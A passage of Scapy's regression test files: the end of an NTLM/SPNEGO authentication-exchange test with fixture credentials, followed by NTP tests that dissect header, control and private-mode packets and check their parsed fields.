MD4le from scapy.layers.spnego import SPNEGOSSP server = SPNEGOSSP( [ NTLMSSP( IDENTITIES={ "User1": MD4le("Password1!"), }, ), ], ) = Real exchange - Parse token 1 from client tok1 = GSSAPI_BLOB( b"\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e" \ b"\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a" \ b"\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x97\x82" \ b"\x08\xe2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ b"\x00\x00\x0a\x00\x61\x4a\x00\x00\x00\x0f") srvcontext, _, negState = server.GSS_Accept_sec_context(None, tok1) assert negState == 1 = Real exchange - Inject token 2 from server tok2 = GSSAPI_BLOB( b"\xa1\x81\xca\x30\x81\xc7\xa0\x03\x0a\x01\x01\xa1\x0c\x06\x0a\x2b" \ b"\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x81\xb1\x04\x81\xae\x4e" \ b"\x54\x4c\x4d\x53\x53\x50\x00\x02\x00\x00\x00\x0c\x00\x0c\x00\x38" \ b"\x00\x00\x00\x15\x82\x89\xe2\xdd\x92\xcd\x56\xcf\x74\xc6\x03\x00" \ b"\x00\x00\x00\x00\x00\x00\x00\x6a\x00\x6a\x00\x44\x00\x00\x00\x0a" \ b"\x00\x63\x45\x00\x00\x00\x0f\x44\x00\x4f\x00\x4d\x00\x41\x00\x49" \ b"\x00\x4e\x00\x02\x00\x0c\x00\x44\x00\x4f\x00\x4d\x00\x41\x00\x49" \ b"\x00\x4e\x00\x01\x00\x06\x00\x44\x00\x43\x00\x31\x00\x04\x00\x18" \ b"\x00\x64\x00\x6f\x00\x6d\x00\x61\x00\x69\x00\x6e\x00\x2e\x00\x6c" \ b"\x00\x6f\x00\x63\x00\x61\x00\x6c\x00\x03\x00\x20\x00\x44\x00\x43" \ b"\x00\x31\x00\x2e\x00\x64\x00\x6f\x00\x6d\x00\x61\x00\x69\x00\x6e" \ b"\x00\x2e\x00\x6c\x00\x6f\x00\x63\x00\x61\x00\x6c\x00\x07\x00\x08" \ b"\x00\x02\xea\x8e\xe8\xd2\x8d\xd9\x01\x00\x00\x00\x00") tok2.token.responseToken.value.show() # Inject challenge token srvcontext.ssp_context.chall_tok = tok2.token.responseToken.value = Real exchange - Parse token 3 from client tok3 = GSSAPI_BLOB( b"\xa1\x82\x01\xd7\x30\x82\x01\xd3\xa0\x03\x0a\x01\x01\xa2\x82\x01" \ b"\xb6\x04\x82\x01\xb2\x4e\x54\x4c\x4d\x53\x53\x50\x00\x03\x00\x00" \ b"\x00\x18\x00\x18\x00\x78\x00\x00\x00\x12\x01\x12\x01\x90\x00\x00" \ b"\x00\x0c\x00\x0c\x00\x58\x00\x00\x00\x0a\x00\x0a\x00\x64\x00\x00" \ b"\x00\x0a\x00\x0a\x00\x6e\x00\x00\x00\x10\x00\x10\x00\xa2\x01\x00" \ b"\x00\x15\x82\x88\xe2\x0a\x00\x61\x4a\x00\x00\x00\x0f\x6c\xf5\x94" \ b"\xd3\x4b\x59\x37\x72\x4a\x63\xe0\xb8\xf1\x2e\xf7\x39\x44\x00\x4f" \ b"\x00\x4d\x00\x41\x00\x49\x00\x4e\x00\x55\x00\x73\x00\x65\x00\x72" \ b"\x00\x31\x00\x57\x00\x49\x00\x4e\x00\x31\x00\x30\x00\x00\x00\x00" \ b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ b"\x00\x00\x00\x00\x00\xd7\x44\x98\xd1\xdf\xdf\xd0\x5f\xaf\x33\xbe" \ b"\x69\x12\xdf\x7f\x6d\x01\x01\x00\x00\x00\x00\x00\x00\x02\xea\x8e" \ b"\xe8\xd2\x8d\xd9\x01\x24\x0a\x3b\xc1\x49\x92\xcc\x1e\x00\x00\x00" \ b"\x00\x02\x00\x0c\x00\x44\x00\x4f\x00\x4d\x00\x41\x00\x49\x00\x4e" \ b"\x00\x01\x00\x06\x00\x44\x00\x43\x00\x31\x00\x04\x00\x18\x00\x64" \ b"\x00\x6f\x00\x6d\x00\x61\x00\x69\x00\x6e\x00\x2e\x00\x6c\x00\x6f" \ b"\x00\x63\x00\x61\x00\x6c\x00\x03\x00\x20\x00\x44\x00\x43\x00\x31" \ b"\x00\x2e\x00\x64\x00\x6f\x00\x6d\x00\x61\x00\x69\x00\x6e\x00\x2e" \ b"\x00\x6c\x00\x6f\x00\x63\x00\x61\x00\x6c\x00\x07\x00\x08\x00\x02" \ b"\xea\x8e\xe8\xd2\x8d\xd9\x01\x06\x00\x04\x00\x02\x00\x00\x00\x08" \ b"\x00\x30\x00\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ b"\x20\x00\x00\xc5\xb6\xc9\x62\xcc\x25\x74\x2d\xc9\x64\xc0\xcb\x01" \ b"\xe8\xae\x03\x12\x56\xa9\xfa\x84\xcb\x37\xcd\xa6\xae\x6e\x5b\xe2" \ b"\x16\x52\xbb\x0a\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ b"\x00\x00\x00\x00\x00\x00\x00\x09\x00\x24\x00\x63\x00\x69\x00\x66" \ b"\x00\x73\x00\x2f\x00\x31\x00\x39\x00\x32\x00\x2e\x00\x31\x00\x36" \ b"\x00\x38\x00\x2e\x00\x30\x00\x2e\x00\x31\x00\x30\x00\x30\x00\x00" \ b"\x00\x00\x00\x00\x00\x00\x00\x2a\xdf\x42\x60\xc7\x4b\xac\x30\xa0" \ b"\x47\xdc\xcd\xb5\x5e\x13\x62\xa3\x12\x04\x10\x01\x00\x00\x00\x0f" \ b"\x96\x54\xbb\x55\xd0\x6c\xcb\x00\x00\x00\x00") # Parse auth srvcontext, tok, negState = server.GSS_Accept_sec_context(srvcontext, tok3) assert negState == 0 = Real exchange - Check mechListMIC against token 4 from server tok4 = GSSAPI_BLOB( b"\xa1\x1b\x30\x19\xa0\x03\x0a\x01\x00\xa3\x12\x04\x10\x01\x00\x00" \ b"\x00\xe3\x39\x61\x56\xbc\x42\x23\xdc\x00\x00\x00\x00") tok.show() tok4.show() assert tok.token.mechListMIC == tok4.token.mechListMIC = MISC - Dissect legacy formed NTLM messages # NTLM Negotiate with missing everything data = b'NTLMSSP\x00\x01\x00\x00\x00\x05\x02\x88\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' pkt = NTLM_Header(data) assert pkt.WorkstationNameLen == 0 assert pkt.ProductMajorVersion is None pkt.clear_cache() assert bytes(pkt) == data # NTLM AUTH with missing version data = b'NTLMSSP\x00\x03\x00\x00\x00\x18\x00\x18\x00d\x00\x00\x00\xb6\x00\xb6\x00|\x00\x00\x00\x08\x00\x08\x00@\x00\x00\x00\x10\x00\x10\x00H\x00\x00\x00\x0c\x00\x0c\x00X\x00\x00\x00\x00\x00\x00\x002\x01\x00\x005\x82\x89\x00C\x00O\x00U\x00S\x00B\x00A\x00N\x00A\x00N\x00A\x00N\x00A\x00G\x00O\x00U\x00R\x00D\x00E\x00\x91\xe9\xa2\xd8\xefE\xcd!2\xe8r\xae\x17*\xbfq\xbe8\x0b4\x90\x98\x12\x00s\x9e\x9e\xdc\nj(q\x1f\x84\xf8\xd3\x90e\xa7\xb3\x01\x01\x00\x00\x00\x00\x00\x00\x80\x8ax\xeeXc\xda\x01\xbe8\x0b4\x90\x98\x12W\x00\x00\x00\x00\x01\x00\x06\x00S\x00R\x00V\x00\x02\x00\x0c\x00D\x00O\x00M\x00A\x00I\x00N\x00\x03\x00 \x00s\x00r\x00v\x00.\x00d\x00o\x00m\x00a\x00i\x00n\x00.\x00l\x00o\x00c\x00a\x00l\x00\x04\x00\x18\x00d\x00o\x00m\x00a\x00i\x00n\x00.\x00l\x00o\x00c\x00a\x00l\x00\x05\x00\x18\x00d\x00o\x00m\x00a\x00i\x00n\x00.\x00l\x00o\x00c\x00a\x00l\x00\x07\x00\x08\x00\x90\xa8;}Qc\xda\x01\x00\x00\x00\x00\x00\x00\x00\x00' pkt = NTLM_Header(data) assert pkt.Workstation == "GOURDE" assert pkt.DomainName == "COUS" assert pkt.UserName == "BANANANA" pkt.clear_cache() assert bytes(pkt) == data ================================================ FILE: test/scapy/layers/ntp.uts ================================================ % NTP regression tests for Scapy # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + Basic tests = specific haslayer and getlayer implementations for NTP ~ haslayer getlayer NTP pkt = IP() / UDP() / NTPHeader() assert NTP in pkt assert pkt.haslayer(NTP) assert isinstance(pkt[NTP], NTPHeader) assert isinstance(pkt.getlayer(NTP), NTPHeader) ############ ############ + NTP module tests = NTP - Layers (1) p = NTPHeader() assert NTPHeader in p assert not NTPControl in p assert not NTPPrivate in p assert NTP in p assert p.mysummary() == "NTP v4, client" ls(p) p = NTPControl() assert not NTPHeader in p assert NTPControl in p assert not NTPPrivate in p assert NTP in p assert p.mysummary() == "NTP v2, NTP control message" ls(p) p = NTPPrivate() assert not NTPHeader in p assert not NTPControl in p assert NTPPrivate in p assert NTP in p assert p.mysummary() == "NTP v2, reserved for private use" ls(p) = NTP - Layers (2) p = NTPHeader() assert type(p[NTP]) == NTPHeader p = NTPControl() assert type(p[NTP]) == NTPControl p = NTPPrivate() assert type(p[NTP]) == NTPPrivate = NTP - sessions (1) p = IP()/TCP()/NTP() l = PacketList(p) s = l.sessions() # Crashed on commit: e42ecdc54556c4852ca06b1a6da6c1ccbf3f522e assert len(s) == 1 = NTP - sessions (2) p = IP()/UDP()/NTP() l = PacketList(p) s = l.sessions() # Crashed on commit: e42ecdc54556c4852ca06b1a6da6c1ccbf3f522e assert len(s) == 1 ############ ############ + NTPHeader tests = NTPHeader - Basic checks len(raw(NTP())) == 48 = NTPHeader - Dissection s = b"!\x0b\x06\xea\x00\x00\x00\x00\x00\x00\xf2\xc1\x7f\x7f\x01\x00\xdb9\xe8\xa21\x02\xe6\xbc\xdb9\xe8\x81\x02U8\xef\xdb9\xe8\x80\xdcl+\x06\xdb9\xe8\xa91\xcbI\xbf\x00\x00\x00\x01\xady\xf3\xa1\xe5\xfc\xd02\xd2j\x1e'\xc3\xc1\xb6\x0e" p = NTP(s) assert isinstance(p, NTPHeader) assert p[NTPAuthenticator].key_id == 1 assert bytes_hex(p[NTPAuthenticator].dgst) == b'ad79f3a1e5fcd032d26a1e27c3c1b60e' = NTPHeader - High precision pkt = NTP(b'#\x02\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\xe3\xaaz\xf7\xb4\x07\xaa\xea\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f+\xe2X>\xb8\x00') assert NTP(raw(NTP(orig=pkt.orig))).orig == pkt.orig assert str(pkt.orig) == '3819600631.703241999' = NTPHeader - KoD s = b'\xe4\x00\x06\xe8\x00\x00\x00\x00\x00\x00\x02\xcaINIT\x00\x00\x00\x00\x00\x00\x00\x00\xdb@\xe3\x9eH\xa3pj\xdb@\xe3\x9eH\xf0\xc3\\\xdb@\xe3\x9eH\xfaL\xac\x00\x00\x00\x01B\x86)\xc1Q4\x8bW8\xe7Q\xda\xd0Z\xbc\xb8' p = NTP(s) assert isinstance(p, NTPHeader) assert p.leap == 3 assert p.version == 4 assert p.mode == 4 assert p.stratum == 0 assert p.ref_id == b'INIT' = NTPHeader - Extension dissection test s = b'#\x02\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\xdbM\xdf\x19e\x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xdbM\xdf\x19e\x89\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert isinstance(p, NTPHeader) assert p.leap == 0 assert p.version == 4 assert p.mode == 3 assert p.stratum == 2 = NTPAuthenticator s = hex_bytes("000c2962f268d094666d23750800450000640db640004011a519c0a80364c0a80305a51e007b0050731a2300072000000000000000000000000000000000000000000000000000000000000000000000000052c7bc1dda64b97d0000000bcdc3825dbf6b7ad02886ff45aa8b2eaf7ac78bc1") p = Ether(s) assert NTPAuthenticator in p and p[NTPAuthenticator].key_id == 3452142173 ############ ############ + NTP Control (mode 6) tests = NTP Control (mode 6) - CTL_OP_READSTAT (1) - request s = b'\x16\x01\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert isinstance(p, NTPControl) assert p.version == 2 assert p.mode == 6 assert p.response == 0 assert p.err == 0 assert p.more == 0 assert p.op_code == 1 assert p.sequence == 12 assert p.status == 0 assert p.association_id == 0 assert p.offset == 0 assert p.count == 0 assert p.data == b"" = NTP Control (mode 6) - CTL_OP_READSTAT (2) - response s = b'\x16\x81\x00\x0c\x06d\x00\x00\x00\x00\x00\x04\xe5\xfc\xf6$' p = NTP(s) assert isinstance(p, NTPControl) assert p.version == 2 assert p.mode == 6 assert p.response == 1 assert p.err == 0 assert p.more == 0 assert p.op_code == 1 assert p.sequence == 12 assert isinstance(p.status, NTPSystemStatusPacket) assert p.status.leap_indicator == 0 assert p.status.clock_source == 6 assert p.status.system_event_counter == 6 assert p.status.system_event_code == 4 assert p.association_id == 0 assert p.offset == 0 assert p.count == 4 assert isinstance(p.data[0], NTPPeerStatusDataPacket) assert p.data[0].association_id == 58876 assert isinstance(p.data[0].peer_status, NTPPeerStatusPacket) assert p.data[0].peer_status.configured == 1 assert p.data[0].peer_status.auth_enabled == 1 assert p.data[0].peer_status.authentic == 1 assert p.data[0].peer_status.reachability == 1 assert p.data[0].peer_status.reserved == 0 assert p.data[0].peer_status.peer_sel == 6 assert p.data[0].peer_status.peer_event_counter == 2 assert p.data[0].peer_status.peer_event_code == 4 = NTP Control (mode 6) - CTL_OP_READSTAT (3) - multi s = b'\x16\x81\x00\x0f\x00\x14\x00\x00\x00\x00\x008Et\x00\x11Es\x00\x11Er\x00\x11Eq\x00\x11Ep6\x1aEo4\x14En3\x14Em4\x14El4\x1aEk4\x14Ej\x88\x11Ei\x88\x11Eh\x88\x11Eg\x88\x11' p = NTP(s) assert isinstance(p, NTPControl) assert p.version == 2 assert p.response == 1 assert isinstance(p.status, NTPSystemStatusPacket) assert p.count == 56 assert len(p.data) == 14 assert all(isinstance(x, NTPPeerStatusDataPacket) for x in p.data) assert p.data[0].association_id == 17780 assert p.data[10].association_id == 17770 assert p.data[13].association_id == 17767 assert p.data[13].peer_status.peer_event_counter == 1 assert not p.authenticator = NTP Control (mode 6) - CTL_OP_READVAR (1) - request s = b'\x16\x02\x00\x12\x00\x00\xfc\x8f\x00\x00\x00\x00' p = NTP(s) assert isinstance(p, NTPControl) assert p.version == 2 assert p.mode == 6 assert p.response == 0 assert p.op_code == 2 assert p.sequence == 18 assert p.status == 0 assert p.association_id == 64655 assert p.data == b"" = NTP Control (mode 6) - CTL_OP_READVAR (2) - response (1st packet) s = b'\xd6\xa2\x00\x12\xc0\x11\xfc\x8f\x00\x00\x01\xd4srcadr=192.168.122.1, srcport=123, dstadr=192.168.122.100, dstport=123,\r\nleap=3, stratum=16, precision=-24, rootdelay=0.000, rootdisp=0.000,\r\nrefid=INIT, reftime=0x00000000.00000000, rec=0x00000000.00000000,\r\nreach=0x0, unreach=5, hmode=1, pmode=0, hpoll=6, ppoll=10, headway=62,\r\nflash=0x1200, keyid=1, offset=0.000, delay=0.000, dispersion=15937.500,\r\njitter=0.000, xleave=0.240,\r\nfiltdelay= 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00,\r\nfiltoffset= 0.00 0.00 0.00 0.00 ' p = NTP(s) assert isinstance(p, NTPControl) assert p.version == 2 assert p.mode == 6 assert p.response == 1 assert p.err == 0 assert p.more == 1 assert p.op_code == 2 assert p.sequence == 18 assert isinstance(p.status, NTPPeerStatusPacket) assert p.status.configured == 1 assert p.status.auth_enabled == 1 assert p.status.authentic == 0 assert p.status.reachability == 0 assert p.status.peer_sel == 0 assert p.status.peer_event_counter == 1 assert p.status.peer_event_code == 1 assert p.association_id == 64655 assert p.offset == 0 assert p.count == 468 assert p.data == b'srcadr=192.168.122.1, srcport=123, dstadr=192.168.122.100, dstport=123,\r\nleap=3, stratum=16, precision=-24, rootdelay=0.000, rootdisp=0.000,\r\nrefid=INIT, reftime=0x00000000.00000000, rec=0x00000000.00000000,\r\nreach=0x0, unreach=5, hmode=1, pmode=0, hpoll=6, ppoll=10, headway=62,\r\nflash=0x1200, keyid=1, offset=0.000, delay=0.000, dispersion=15937.500,\r\njitter=0.000, xleave=0.240,\r\nfiltdelay= 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00,\r\nfiltoffset= 0.00 0.00 0.00 0.00 ' = NTP Control (mode 6) - CTL_OP_READVAR (3) - response (2nd packet) s = b'\xd6\x82\x00\x12\xc0\x11\xfc\x8f\x01\xd4\x00i0.00 0.00 0.00 0.00,\r\nfiltdisp= 16000.00 16000.00 16000.00 16000.00 16000.00 16000.00 16000.00 16000.00\r\n' p = NTP(s) assert isinstance(p, NTPControl) assert p.version == 2 assert p.mode == 6 assert p.response == 1 assert p.err == 0 assert p.more == 0 assert p.op_code == 2 assert p.sequence == 18 assert isinstance(p.status, NTPPeerStatusPacket) assert p.association_id == 64655 assert p.offset == 468 assert p.count == 105 assert p.data == b'0.00 0.00 0.00 0.00,\r\nfiltdisp= 16000.00 16000.00 16000.00 16000.00 16000.00 16000.00 16000.00 16000.00\r\n' = NTP Control (mode 6) - CTL_OP_READVAR (4) - request s = b'\x16\x02\x00\x13\x00\x00s\xb5\x00\x00\x00\x0btest1,test2\x00\x00\x00\x00\x01=\xc2;\xc7\xed\xb9US9\xd6\x89\x08\xc8\xaf\xa6\x12' p = NTP(s) assert isinstance(p, NTPControl) assert p.version == 2 assert p.mode == 6 assert p.response == 0 assert p.err == 0 assert p.more == 0 assert p.op_code == 2 assert p.data == b"test1,test2" assert p.authenticator.key_id == 1 assert bytes_hex(p.authenticator.dgst) == b'3dc23bc7edb9555339d68908c8afa612' = NTP Control (mode 6) - CTL_OP_READVAR (5) - response s = b'\xd6\xc2\x00\x13\x05\x00s\xb5\x00\x00\x00\x00\x00\x00\x00\x01\x97(\x02I\xdb\xa0s8\xedr(`\xdbJX\n' p = NTP(s) assert isinstance(p, NTPControl) assert p.version == 2 assert p.mode == 6 assert p.response == 1 assert p.err == 1 assert p.more == 0 assert p.op_code == 2 assert not p.data assert p.authenticator.key_id == 1 assert bytes_hex(p.authenticator.dgst) == b'97280249dba07338ed722860db4a580a' = NTP Control (mode 6) - CTL_OP_WRITEVAR (1) - request s = b'\x16\x03\x00\x11\x00\x00\x00\x00\x00\x00\x00\x0btest1,test2\x00\x00\x00\x00\x01\xaf\xf1\x0c\xb4\xc9\x94m\xfcM\x90\tJ\xa1p\x94J' p = NTP(s) assert isinstance(p, NTPControl) assert p.version == 2 assert p.mode == 6 assert p.response == 0 assert p.err == 0 assert p.more == 0 assert p.op_code == 3 assert p.data == b"test1,test2" assert p.authenticator.key_id == 1 assert bytes_hex(p.authenticator.dgst) == b'aff10cb4c9946dfc4d90094aa170944a' = NTP Control (mode 6) - CTL_OP_WRITEVAR (2) - response s = b'\xd6\xc3\x00\x11\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x80z\x80\xfb\xaf\xc4pg\x98S\xa8\xe5xe\x81\x1c' p = NTP(s) assert isinstance(p, NTPControl) assert p.version == 2 assert p.mode == 6 assert p.response == 1 assert p.err == 1 assert p.more == 0 assert p.op_code == 3 assert hasattr(p, 'status') assert isinstance(p.status, NTPErrorStatusPacket) assert p.status.error_code == 5 assert not p.data assert p.authenticator.key_id == 1 assert bytes_hex(p.authenticator.dgst) == b'807a80fbafc470679853a8e57865811c' = NTP Control (mode 6) - CTL_OP_CONFIGURE (1) - request s = b'\x16\x08\x00\x16\x00\x00\x00\x00\x00\x00\x00\x0ccontrolkey 1\x00\x00\x00\x01\xea\xa7\xac\xa8\x1bj\x9c\xdbX\xe1S\r6\xfb\xef\xa4' p = NTP(s) assert isinstance(p, NTPControl) assert p.version == 2 assert p.mode == 6 assert p.response == 0 assert p.err == 0 assert p.more == 0 assert p.op_code == 8 assert p.count == 12 assert p.data == b'controlkey 1' assert p.authenticator.key_id == 1 assert bytes_hex(p.authenticator.dgst) == b'eaa7aca81b6a9cdb58e1530d36fbefa4' = NTP Control (mode 6) - CTL_OP_CONFIGURE (2) - response s = b'\xd6\x88\x00\x16\x00\x00\x00\x00\x00\x00\x00\x12Config Succeeded\r\n\x00\x00\x00\x00\x00\x01\xbf\xa6\xd8_\xf9m\x1e2l)<\xac\xee\xc2\xa59' p = NTP(s) assert isinstance(p, NTPControl) assert p.version == 2 assert p.mode == 6 assert p.response == 1 assert p.err == 0 assert p.more == 0 assert p.op_code == 8 assert p.count == 18 assert p.data == b'Config Succeeded\r\n' assert p.authenticator.key_id == 1 assert bytes_hex(p.authenticator.dgst) == b'bfa6d85ff96d1e326c293caceec2a539' = NTP Control (mode 6) - CTL_OP_SAVECONFIG (1) - request s = b'\x16\t\x00\x1d\x00\x00\x00\x00\x00\x00\x00\x0fntp.test.2.conf\x00\x00\x00\x00\x00\x00\x00\x00\x01\xc9\xfb\x8a\xbe<`_\xfa6\xd2\x18\xc3\xb7d\x89#' p = NTP(s) assert isinstance(p, NTPControl) assert p.version == 2 assert p.mode == 6 assert p.response == 0 assert p.err == 0 assert p.more == 0 assert p.op_code == 9 assert p.count == 15 assert p.data == b'ntp.test.2.conf' assert p.authenticator.key_id == 1 assert bytes_hex(p.authenticator.dgst) == b'c9fb8abe3c605ffa36d218c3b7648923' = NTP Control (mode 6) - CTL_OP_SAVECONFIG (2) - response s = b"\xd6\x89\x00\x1d\x00\x00\x00\x00\x00\x00\x00*Configuration saved to 'ntp.test.2.conf'\r\n\x00\x00\x00\x00\x00\x012\xc2\xbaY\xc53\xfe(\xf5P\xe5\xa0\x86\x02\x95\xd9" p = NTP(s) assert isinstance(p, NTPControl) assert p.version == 2 assert p.mode == 6 assert p.response == 1 assert p.err == 0 assert p.more == 0 assert p.op_code == 9 assert p.count == 42 assert p.data == b"Configuration saved to 'ntp.test.2.conf'\r\n" assert p.authenticator.key_id == 1 assert bytes_hex(p.authenticator.dgst) == b'32c2ba59c533fe28f550e5a0860295d9' = NTP Control (mode 6) - CTL_OP_REQ_NONCE (1) - request s = b'\x16\x0c\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert isinstance(p, NTPControl) assert p.version == 2 assert p.mode == 6 assert p.response == 0 assert p.err == 0 assert p.more == 0 assert p.op_code == 12 assert p.data == b'' assert not p.authenticator = NTP Control (mode 6) - CTL_OP_REQ_NONCE (2) - response s = b'\xd6\x8c\x00\x07\x00\x00\x00\x00\x00\x00\x00 nonce=db4186a2e1d9022472e24bc9\r\n' p = NTP(s) assert isinstance(p, NTPControl) assert p.version == 2 assert p.mode == 6 assert p.response == 1 assert p.err == 0 assert p.more == 0 assert p.op_code == 12 assert p.data == b'nonce=db4186a2e1d9022472e24bc9\r\n' assert not p.authenticator = NTP Control (mode 6) - CTL_OP_READ_MRU (1) - request s = b'\x16\n\x00\x08\x00\x00\x00\x00\x00\x00\x00(nonce=db4186a2e1d9022472e24bc9, frags=32' p = NTP(s) assert isinstance(p, NTPControl) assert p.version == 2 assert p.mode == 6 assert p.response == 0 assert p.err == 0 assert p.op_code == 10 assert p.count == 40 assert p.data == b'nonce=db4186a2e1d9022472e24bc9, frags=32' assert not p.authenticator = NTP Control (mode 6) - CTL_OP_READ_MRU (2) - response s = b'\xd6\x8a\x00\x08\x00\x00\x00\x00\x00\x00\x00\xe9nonce=db4186a2e2073198b93c6419, addr.0=192.168.122.100:123,\r\nfirst.0=0xdb418673.323e1a89, last.0=0xdb418673.323e1a89, ct.0=1,\r\nmv.0=36, rs.0=0x0, WWQ.0=18446744073709509383, now=0xdb4186a2.e20ff8f4,\r\nlast.newest=0xdb418673.323e1a89\r\n\x00\x00\x00' p = NTP(s) assert isinstance(p, NTPControl) assert p.version == 2 assert p.mode == 6 assert p.response == 1 assert p.err == 0 assert p.op_code == 10 assert p.count == 233 assert p.data == b'nonce=db4186a2e2073198b93c6419, addr.0=192.168.122.100:123,\r\nfirst.0=0xdb418673.323e1a89, last.0=0xdb418673.323e1a89, ct.0=1,\r\nmv.0=36, rs.0=0x0, WWQ.0=18446744073709509383, now=0xdb4186a2.e20ff8f4,\r\nlast.newest=0xdb418673.323e1a89\r\n' assert not p.authenticator ############ ############ + NTP Private (mode 7) tests = NTP Private (mode 7) - error - Dissection s = b'\x97\x00\x03\x1d@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 1 assert p.version == 2 assert p.mode == 7 assert p.request_code == 29 assert p.err == 4 assert p.nb_items == 0 assert p.data_item_size == 0 = NTP Private (mode 7) - REQ_PEER_LIST (1) - request s = b'\x17\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 0 assert p.version == 2 assert p.mode == 7 assert p.request_code == 0 assert p.nb_items == 0 assert p.data_item_size == 0 = NTP Private (mode 7) - REQ_PEER_LIST (2) - response s = b'\x97\x00\x03\x00\x00\x01\x00 \x7f\x7f\x01\x00\x00{\x03\x83\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 1 assert p.version == 2 assert p.mode == 7 assert p.request_code == 0 assert p.nb_items == 1 assert p.data_item_size == 32 assert type(p.data[0]) == NTPInfoPeerList assert p.data[0].addr == "127.127.1.0" assert p.data[0].port == 123 = NTP Private (mode 7) - REQ_PEER_INFO (1) - request s = b'\x17\x00\x03\x02\x00\x01\x00 \xc0\xa8zf\x00{\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' p = NTP(s) assert isinstance(p, NTPPrivate) assert p.response == 0 assert p.version == 2 assert p.mode == 7 assert p.request_code == 2 assert p.nb_items == 1 assert p.data_item_size == 32 assert isinstance(p.req_data[0], NTPInfoPeerList) assert p.req_data[0].addr == "192.168.122.102" assert p.req_data[0].port == 123 = NTP Private (mode 7) - REQ_PEER_INFO (2) - response s = 